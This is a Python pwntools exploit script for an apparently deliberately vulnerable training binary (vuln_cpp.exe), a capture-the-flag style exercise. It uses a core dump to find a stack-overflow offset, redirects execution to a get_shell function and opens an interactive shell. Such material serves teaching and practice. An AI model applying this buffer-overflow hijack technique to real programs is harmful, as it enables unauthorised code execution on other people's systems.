exploit_vuln_cpp.py

#! /usr/bin/env python

# https://docs.pwntools.com/en/stable/elf/corefile.html

from pwn import *

target_name = './vuln_cpp.exe'
# Set up pwntools for the correct architecture
exe = context.binary = ELF(target_name)

#print(exe.symbols)

# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(128, n=8)

# Run the process once so that it crashes
p = process([target_name, payload])
p.wait() # wait for close

# Get the core dump
core = p.corefile

# Our cyclic pattern should have been used as the crashing address, make sure!
#assert p32(core.eip) in payload

offset = cyclic_find(core.read(core.esp, 8), n=8) - 4
#print('offset=', offset)
# search for get_shell function address
# in C; func_address = exe.symbols.get_shell
# in C++; parse the symbols dictionary to look for function name in key
for symbol in exe.symbols.keys():
    if symbol.find("get_shell") >=0:
        func_address = exe.symbols[symbol]
        break

#print(hex(func_address))

payload = flat({
    offset: func_address
}, filler='A')

#print(payload)

io = process([target_name, payload])
# receive and print the payload
print(io.recvline())
# Get a shell!
io.sendline(b'id')
print(io.recvline())

# get interactive shell
io.interactive()